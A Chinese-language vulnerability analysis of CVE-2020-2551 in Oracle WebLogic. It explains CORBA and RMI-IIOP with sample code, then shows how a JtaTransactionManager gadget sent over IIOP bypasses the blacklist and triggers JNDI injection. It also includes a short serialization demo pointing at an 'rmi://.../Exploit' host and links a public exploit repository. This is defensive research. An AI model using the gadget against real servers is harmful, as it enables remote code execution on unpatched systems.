CVE-2020-2551 Weblogic IIOP反序列化漏洞分析

2020-03-25 约 1091 字 预计阅读 6 分钟

声明:本文 【CVE-2020-2551 Weblogic IIOP反序列化漏洞分析】 由作者 Passer6y 于 2020-03-25 09:55:22 首发 先知社区 曾经 浏览数 157 次

感谢 Passer6y 的辛苦付出!

基础

IDL与Java IDL

IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。

JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于公共对象代理体系(Common Object Request Brokerage Architecture,CORBA),一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档Java IDL: IDL to Java Language Mapping

在jdk安装后,会附带有idlj编译器,使用idlj命令可以将IDL文件编译成java文件

COBAR

CORBA(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,是由OMG组织制订的一种标准分布式对象结构。其提出是为了解决不同应用间的通信,曾是分布式计算的主流技术。

CORBA结构分为三部分:

  • naming service
  • client side
  • servant side

他们之间的关系简单理解为:client side从naming service中获取服务方servant side信息。servant side需要在naming service中注册,这样client side在要访问具体内容时会先去naming service查找,以找到对应的servant side服务。

可以理解为目录与章节具体内容具体关系:naming service目录,servant side为内容,目的就是为了让client side快速从目录找到内容。

CORBA通信过程

在CORBA客户端和服务器之间进行远程调用模型如下:

在客户端,应用程序包含远程对象的引用,对象引用具有存根(stub)方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB(Object Request Broker)对象请求代理的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。

在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。

在ORB之间,通信通过IIOP(the Internet Inter-ORB Protocol)互联网内部对象请求代理协议进行。基于标准TCP/IP Internet协议的IIOP提供了CORBA客户端和服务端之间通信的标准。

使用JAVA IDL编写CORBA分布式应用

编写IDL

CORBA使用IDL供用户描述程序接口, 所以这里第一步就是编写idl描述接口,创建Hello.idl文件:

module HelloApp
{
    interface Hello
    {
        string sayHello();
    };
};

该段代码描述了Hello接口中包含sayHello()方法,他会返回字符串类型数据。

编译生成client side classes

接着使用JAVA的IDL编译器idlj,将idl文件编译成class文件:

idlj -fclient Hello.idl

创建了一个新目录HelloApp,并生成了5个新文件:

他们之间的关系如下图所示:

图片来源:An Introduction To The CORBA And Java RMI-IIOP

参考代码,简单概括一下:

  • HelloOperations接口中定义sayHello()方法
  • Hello继承了HelloOperations
  • _HelloStub类实现了Hello接口,client side使用hello接口调用servant side
  • HelloHelper类实现网络传输,数据编码和解码的工作。

详细分析一下几段核心代码,先来看一下_HelloStub.javasayHello()的实现:

public String sayHello ()
  {
            org.omg.CORBA.portable.InputStream $in = null;
            try {
                org.omg.CORBA.portable.OutputStream $out = _request ("sayHello", true);
                $in = _invoke ($out);
                String $result = $in.read_string ();
                return $result;
            } catch (org.omg.CORBA.portable.ApplicationException $ex) {
                $in = $ex.getInputStream ();
                String _id = $ex.getId ();
                throw new org.omg.CORBA.MARSHAL (_id);
            } catch (org.omg.CORBA.portable.RemarshalException $rm) {
                return sayHello (        );
            } finally {
                _releaseReply ($in);
            }
  } // sayHello

使用org.omg.CORBA.portableInputStreamOutputStream来表示调用的请求和响应,通过_request()_invoke()方法调用得到结果。

另外在HelloHelper类中负责处理对象网络传输的编码和解码,来看一下narrow方法:

public static HelloApp.Hello narrow (org.omg.CORBA.Object obj)
  {
    if (obj == null)
      return null;
    else if (obj instanceof HelloApp.Hello)
      return (HelloApp.Hello)obj;
    else if (!obj._is_a (id ()))
      throw new org.omg.CORBA.BAD_PARAM ();
    else
    {
      org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate ();
      HelloApp._HelloStub stub = new HelloApp._HelloStub ();
      stub._set_delegate(delegate);
      return stub;
    }
  }

接受一个org.omg.CORBA.Object对象作为参数,返回stub。

编译生成servant side

执行命令:

idlj -fserver Hello.idl

会生成三个文件,除了HelloPOA.java,其余都是一样的。

POA(Portable Object Adapter)是便携式对象适配器,它是CORBA规范的一部分。这里的这个POA虚类是servant side的框架类,它提供了方法帮助我们将具体实现对象注册到naming service上。

来看一下其核心代码:

public abstract class HelloPOA extends org.omg.PortableServer.Servant
 implements HelloApp.HelloOperations, org.omg.CORBA.portable.InvokeHandler
{

  // Constructors

  private static java.util.Hashtable _methods = new java.util.Hashtable ();
  static
  {
    _methods.put ("sayHello", new java.lang.Integer (0));
  }

  public org.omg.CORBA.portable.OutputStream _invoke (String $method,
                                org.omg.CORBA.portable.InputStream in,
                                org.omg.CORBA.portable.ResponseHandler $rh)
  {
    org.omg.CORBA.portable.OutputStream out = null;
    java.lang.Integer __method = (java.lang.Integer)_methods.get ($method);
    if (__method == null)
      throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);

    switch (__method.intValue ())
    {
       case 0:  // HelloApp/Hello/sayHello
       {
         String $result = null;
         $result = this.sayHello ();
         out = $rh.createReply();
         out.write_string ($result);
         break;
       }

       default:
         throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
    }

    return out;
  } // _invoke

//...

值得注意的是他也实现了HelloOperations接口,代码的最开始将sayHello方法放入一个hashtable中,_invoke方法中,将调用sayHello()的结果通过org.omg.CORBA.portable.ResponseHandler对象通过网络传输到client side。

此时idjl生成的全部class的关系图:

接下来,要做的就是用户自己实现client side和servant side中具体的方法操作。

servant side实现

对于servant side而言,实现一个HelloImpl类来继承HelloPOA类实现sayHello()方法:

package HelloApp;
import org.omg.CORBA.ORB;

public class HelloImpl extends HelloPOA {

    private ORB orb;

    public void setORB(ORB orbVal) {
        orb = orbVal;
    }

    @Override
    public String sayHello() {
        return "\nHello, world!\n";
    }

}

此时的继承关系如下:

接着,需要写一个服务端HelloServer类来接受client side对HelloImpl.sayHello()的调用。

三个部分:

  • 第一部分根据传入的name service地址参数来创建,根据CORBA的规范,通过ORB获取一个名称为RootPOAPOA对象。(其中name service由jdk中的orbd提供)
  • 第二部分就是将具体实现类注册到naming service中,用orb获取到name service,将HelloImpl对象以Hello为名绑定。
  • 第三部分就是将server设置为监听状态持续运行,用于拦截并处理client side的请求,返回相应的具体实现类。

Client Side实现

package HelloApp;


import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContext;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.CosNaming.NamingContextHelper;

import java.util.Properties;

public class HelloClient {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {

        ORB orb = ORB.init(args, null);

        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");

        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

        String name = "Hello";
        // helloImpl的类型为_HelloStub,而不是真正的helloImpl
        helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

        System.out.println(helloImpl.sayHello());

    }
}

首先和服务端一样,需要初始化ORB,通过ORB来获取NameService并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的Stub,调用Stub中的sayhello()方法,这个时候才会完成client side向servant side发送请求,POA处理请求,并将具体实现的HelloImpl包装返回给client side。

naming service实现

ORBD可以理解为ORB的守护进程(daemon),其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,可以通过一行命令进行启动:

orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

执行

接着分别在HelloServerHelloClient配置name service地址:

其次依次启动name serviceHelloServerHelloClient结果如上图所示。

此外,除了上述先获取NameServer,后通过resolve_str()方法生成(NameServer方式)的stub,还有两种:

  • 使用ORB.string_to_object生成(ORB生成方式)
  • 使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

代码分别如下:
orb方式

public class HelloClietORB {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {
        ORB orb = ORB.init(args, null);
        org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
        Hello hello = HelloHelper.narrow(obj);
        System.out.println(hello.sayHello());
    }
}

public class HelloClientORB2 {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {

        ORB orb = ORB.init(args, null);
        org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
        NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
        Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
        System.out.println(hello.sayHello());
    }

}

JDNI方式:

public class HelloClientJNDI {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {
        ORB orb = ORB.init(args, null);
        Hashtable env = new Hashtable(5, 0.75f);
        env.put("java.naming.corba.orb", orb);
        Context ic = new InitialContext(env);
        Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
        System.out.println(helloRef.sayHello());
    }
}

CORBA网络流量分析

servant side

服务端流量大致分为两个部分:

  • 获取Naming Service
  • 注册servant side

获取Naming Service的流量如下:

在返回的响应中,拿到了RootPOA

对应的代码为:

接着检测获取到的NamingService对象是否为NamingContextExt类的示例:

对应代码:

最后发送op=to_nameop=rebind两个指令:


分别为设置引用名,和设置绑定信息,来看一下op=rebind的数据包:

这里通过IOR信息表示了servant side的相关rpc信息。

client side

这里以NameServer方式生成stub为例:

  • 获取nameservice、op=_is_a判断
  • 根据引用名获取servant side的接口Stub
  • 发送方法名,调用远程方法,得到结果

    分别对应代码步骤:

RMI-IIOP

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。

Demo: RMI-IIOP远程调用

参考文档Tutorial: Getting Started Using RMI-IIOP所述,一共四个步骤,对应的文件如下:

  • 定义远程接口类:HelloInterface.java
  • 编写实现类:HelloImpl.java, 实现接口HelloInterface
  • 编写服务端类:HelloServer.java, RMI服务端实例远程类,将其绑定到name service中
  • 编写客户端类:HelloClient.java, 调用远程方法sayHello()

实现接口类,必须要实现Remote远程类,且抛出java.rmi.RemoteException异常。
HelloInterface.java

import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
    public void sayHello( String from ) throws java.rmi.RemoteException;
}

实现接口类,必须写构造方法调用父类构造方法,给远程对象初始化使用,同时要实现一个方法给远程调用使用(sayHello())
HelloImpl.java

import javax.rmi.PortableRemoteObject;

public class HelloImpl extends PortableRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();     // invoke rmi linking and remote object initialization
    }

    public void sayHello( String from ) throws java.rmi.RemoteException {
        System.out.println( "Hello from " + from + "!!" );
        System.out.flush();
    }
}

编写服务端,创建servant实例,绑定对象。
HelloServer.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl();

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

编写客户端类,远程调用sayHello()方法。
HelloClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
    public static void  main( String args[] ) {
        Context ic;
        Object objref;
        HelloInterface hi;

        try {

            Hashtable env = new Hashtable();
            env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
            env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");

            ic = new InitialContext(env);

            // STEP 1: Get the Object reference from the Name Service
            // using JNDI call.
            objref = ic.lookup("HelloService");
            System.out.println("Client: Obtained a ref. to Hello server.");

            // STEP 2: Narrow the object reference to the concrete type and
            // invoke the method.
            hi = (HelloInterface) PortableRemoteObject.narrow(
                    objref, HelloInterface.class);
            hi.sayHello( " MARS " );

        } catch( Exception e ) {
            System.err.println( "Exception " + e + "Caught" );
            e.printStackTrace( );
        }
    }
}

编译
编译远程接口实现类:

javac -d . -classpath . HelloImpl.java

给实现类创建stub和skeleton(简单理解即jvm中的套接字通信程序):

rmic -iiop HelloImpl

执行完后会创建两个文件:

  • _HelloInterface_Stub.class: 客户端的stub
  • _HelloImpl_Tie.class:服务端的skeleton

编译:

javac -d . -classpath . HelloInterface.java HelloServer.java HelloClient.java

运行
开启Naming Service:

orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

运行客户端服务端:

java -classpath .  HelloServer
java -classpath .  HelloClient

上述客户端服务端代码如果在InitialContext没传入参数可以像文档中所述通过java -D传递

结果

漏洞复现

weblogic10.3.6版本,jdk8u73版本

采坑,记得weblogic版本、rmi服务、exp版本都一致

EXP:https://github.com/Y4er/CVE-2020-2551

漏洞分析

这个该漏洞借助IIOP协议触发反序列化,结合对JtaTransactionManager类的错误过滤,导致可以结合其触发其类的JNDI注入造成RCE的效果。

JtaTransactionManager Gadget分析

weblogic中自带的一个Spring框架的包:/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject

在反序列化调用readObject时,会调用initUserTransactionAndTransactionManager方法:

接着调用this.lookupUserTransaction方法,传入成员变量this.userTransactionName:

获取this.getJndiTemplate()后,在/com/bea/core/repackaged/springframework/jndi/JndiTemplate#lookup

到这里通过控制userTransactionName属性,进行JNDI注入:

demo:

public class jnditest {
    public static void main(String[] args){
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        serialize(jtaTransactionManager);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jndi.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("jndi.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

后来翻了一下资料,在CVE-2018-3191中使用的就是该gadget,当时结合T3协议进行反序列化,修复方案将JtaTransactionManager的父类AbstractPlatformTransactionManager加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是在IIOP协议这里,也是使用黑名单进行过滤,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,从而触发JNDI注入。

Context的生成以及bind的流程(servant side)

在上文中RMI-IIOP的客户端demo中,分为三个步骤:

  • 从Name Service中获取Conetext对象
  • 从Name Service中查询指定名称所对应的引用
  • 调用远程方法

先来看第一个过程,无论是客户端还是服务端都要进行的的一个步骤:InitialContext方法中将env参数传入,进行初始化:

经过几次调用,一直跟进到javax/naming/spi/NamingManager.java#getInitialContext方法

可以看到在这里将我们传入的env对应的工厂类进行获取,我们来找一下,在weblogic中有多少个可以加载的工厂类,找到InitialContextFactory接口(ctrl+h查看依赖树)

这里直接来看WLInitialContextFactory类:

/wlserver_10.3/server/lib/wls-api.jar!/weblogic/jndi/Environment#getContext

getInitialContext方法中,到这里其实就是CORBA的解析流程了,

简单跟一下string_to_object方法,这里其实就是上文中CORBA的stub生成三种方式所对应的协议:

  • IOR
  • Corbaname
  • Corbaloc

再来看getORBReference方法,其实就是CORBA初始化orb获取Name Service的过程:

对应CORBA中代码:

再来看一下Conetext的绑定过程:/corba/j2ee/naming/ContextImpl

可以看到这个过程其实就是CORBA生成IOR的过程,指定java类型交互的约定为tk_value,设定op为rebind_any,存储序列化数据到any类,待client side调用。

其实在分析这里之前一直有一个问题无法理解,一直以为weblogic是orbd+servant side,而我们写的exp是client side,在和@Lucifaer师傅学习后,其实对于weblogic的orbd而言,servant side和client side都是客户端,而weblogic(orbd)是在处理servant side的时候解析数据造成反序列化的问题。

到这里servant side的注册就结束了,下面来分析一下weblogic是如何对其进行解析的。

weblogic解析流程

weblogic解析请求的入口开始:weblogic/rmi/internal/wls/WLSExecuteRequest#run

完整调用栈在下文,这里选取几个比较关键的点来分析:weblogic/corba/idl/CorbaServerRef#invoke

先是判断请求类型是否为objectMethods已经存在的,这里是rebind_any,不存在则调用this.delegate._invoke方法,然后将方法类型,IIOPInputStream数据传入_invoke函数:

rebind_any指令类型对应的var5为1,进入var2.read_any()


这里的this.read_TypeCode()即上文中Context bind中的tk_value设置的交互类型,在weblogic/corba/idl/AnyImpl#read_value_internal对应case 30,同时这里的Any类型,在上文Context分析中正式我们将序列化数据插入的地方。

跟进weblogic/corba/utils/ValueHandlerImpl

在这里var2为ObjectStreamClass,调用其readObject方法。继续跟readObject

反射调用JtaTransactionManagerreadObjectcom/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject

最后就是jndi注入了:

完整调用栈:

EXP分析

在分析EXP时个人有一点疑惑,记录一下分析和解决的过程。

参考Y4er/CVE-2020-2551,这里我们结合IIOP servant side的demo来看:

上图为EXP,下图为IIOP服务端,这里有一点需要注意的是,在demo中HelloImpl类继承了HelloInterface实现了java.rmi.Remote远程类的继承:

回过头来看JtaTransactionManager类的接口:

正是这个原因才需要我们在编写EXP的时候,需要将jtaTransactionManager通过反射,动态转换成remote达到远程调用的目的。

最后

在自己动手分析之前,我一直把weblogic当成servant side和orbd(name Service),也无法理解为什么EXP要和COBAR的servant side一样用rebind注册,后来在@Lucifaer师傅的帮助下才理解这里没有client side的参与,而对于Name Service而言这两者都是客户端。

其次这种漏洞IIOP只是载体,JtaTransactionManager为gadget,官方修复也仅仅只是添加黑名单,IIOP的问题没根本解决,再爆一个gadget又得修,问题源源不断。更坑爹的是官网直接下的weblogic连黑名单都没有,个人觉得防御这种问题单纯靠waf流量检测根本防不住,没有反序列化特征,二进制数据流。要防范这类新问题的产生,或许只有RASP的行为检测才能解决。

参考文章:

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now